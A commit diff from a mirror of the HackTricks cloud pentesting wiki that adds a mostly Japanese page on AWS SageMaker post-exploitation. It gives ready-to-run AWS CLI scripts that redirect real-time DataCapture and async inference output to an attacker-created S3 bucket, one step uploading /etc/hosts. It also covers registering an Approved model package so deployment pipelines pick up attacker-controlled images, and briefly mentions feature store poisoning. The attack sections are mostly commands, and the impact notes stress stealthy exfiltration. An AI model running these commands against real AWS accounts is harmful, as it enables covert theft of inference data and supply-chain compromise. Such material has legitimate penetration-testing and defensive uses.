mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 14:23:16 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-
This commit is contained in:
@@ -0,0 +1,178 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint のデータ吸い上げ (UpdateEndpoint DataCaptureConfig 経由)
|
||||
|
||||
モデルやコンテナに触れることなく、SageMaker エンドポイント管理を悪用して、攻撃者が管理する S3 バケットへのリクエスト/レスポンスを完全にキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのはエンドポイント管理の権限だけ。
|
||||
|
||||
### 要件
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (または同じアカウント内の既存のバケットを使用)
|
||||
- オプション(SSE‑KMS を使用する場合): 選択した CMK に対する `kms:Encrypt`
|
||||
- ターゲット: 同じアカウント/リージョン内の既存の InService リアルタイムエンドポイント
|
||||
|
||||
### 手順
|
||||
1) InService エンドポイントを特定し、現在のプロダクションバリアントを収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker S3 destination を captures 用に準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) 同じ variants を維持したまま、DataCapture を attacker bucket に有効化する新しい EndpointConfig を作成する
|
||||
|
||||
注:CLI の検証を満たす明示的なコンテンツタイプを使用してください。
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) rolling update で新しい config を適用する(ダウンタイム最小/なし)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) 少なくとも1回の推論呼び出しを行う(ライブトラフィックが存在する場合は任意)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) attacker S3 にあるキャプチャを検証する
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### 影響
|
||||
- ターゲットのエンドポイントから攻撃者が管理する S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード(およびメタデータ)を完全に持ち出すことが可能。
|
||||
- model/container image に変更を加えず、エンドポイントレベルの変更のみで、運用への影響を最小限にしたステルスなデータ窃取経路を実現。
|
||||
|
||||
## SageMaker 非同期推論出力のハイジャック(UpdateEndpoint AsyncInferenceConfig 経由)
|
||||
|
||||
現在の EndpointConfig を複製し、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論出力を攻撃者が管理する S3 バケットへリダイレクトします。これにより model/container を変更せずに、モデルの予測(およびコンテナが含める変換済み入力)を持ち出すことができます。
|
||||
|
||||
### 要件
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: モデル実行ロールまたは許容的なバケットポリシーを通じて攻撃者が管理する S3 バケットへ書き込めること
|
||||
- 対象: 非同期呼び出しが現在(または今後)利用される InService エンドポイント
|
||||
|
||||
### 手順
|
||||
1) 対象エンドポイントから現在の ProductionVariants を収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker bucket を作成する(model execution role が PutObject できることを確認する)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) EndpointConfig を Clone して、AsyncInference の出力を攻撃者バケットに hijack する
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) 非同期呼び出しをトリガーし、オブジェクトがattacker S3に到達することを確認する
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### 影響
|
||||
- 非同期推論の結果(およびエラーボディ)を攻撃者が管理する S3 にリダイレクトし、モデルコードやイメージを変更せず、ほとんどまたは全くダウンタイムを発生させずに、コンテナが生成する予測結果や前処理/後処理された入力を密かに流出させることを可能にする。
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### 要件
|
||||
- IAM(既存グループを汚染するための最小権限): 対象の ModelPackageGroup に対する `sagemaker:CreateModelPackage`
|
||||
- オプション(グループが存在しない場合に作成するため): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: 参照される ModelDataUrl への読み取りアクセス(または攻撃者管理のアーティファクトをホスト)
|
||||
- 対象: 下流の自動化が Approved バージョンを監視している Model Package Group
|
||||
|
||||
### 手順
|
||||
1) リージョンを設定し、対象の Model Package Group を作成/検索する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) S3にダミーのモデルデータを準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) パブリックな AWS DLC イメージを参照する悪意のある(ここでは無害な)Approved model package version を登録する
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
{
|
||||
"Containers": [
|
||||
{
|
||||
"Image": "$IMG",
|
||||
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
|
||||
}
|
||||
],
|
||||
"SupportedContentTypes": ["text/csv"],
|
||||
"SupportedResponseMIMETypes": ["text/csv"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) 新しい Approved バージョンが存在することを確認する
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### 影響
|
||||
- Model Registry を、攻撃者管理下のコードを参照する Approved バージョンで汚染します。Approved モデルを自動デプロイするパイプラインは攻撃者のイメージを pull して実行する可能性があり、endpoint/training ロールの権限でコード実行が発生します。
|
||||
- 寛容な ModelPackageGroup リソースポリシー(PutModelPackageGroupPolicy)がある場合、この悪用はクロスアカウントで誘発され得ます。
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、online inference が消費するライブの feature 値を上書きします。`sagemaker:GetRecord` と組み合わせると、攻撃者は機密性の高い feature を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
Reference in New Issue
Block a user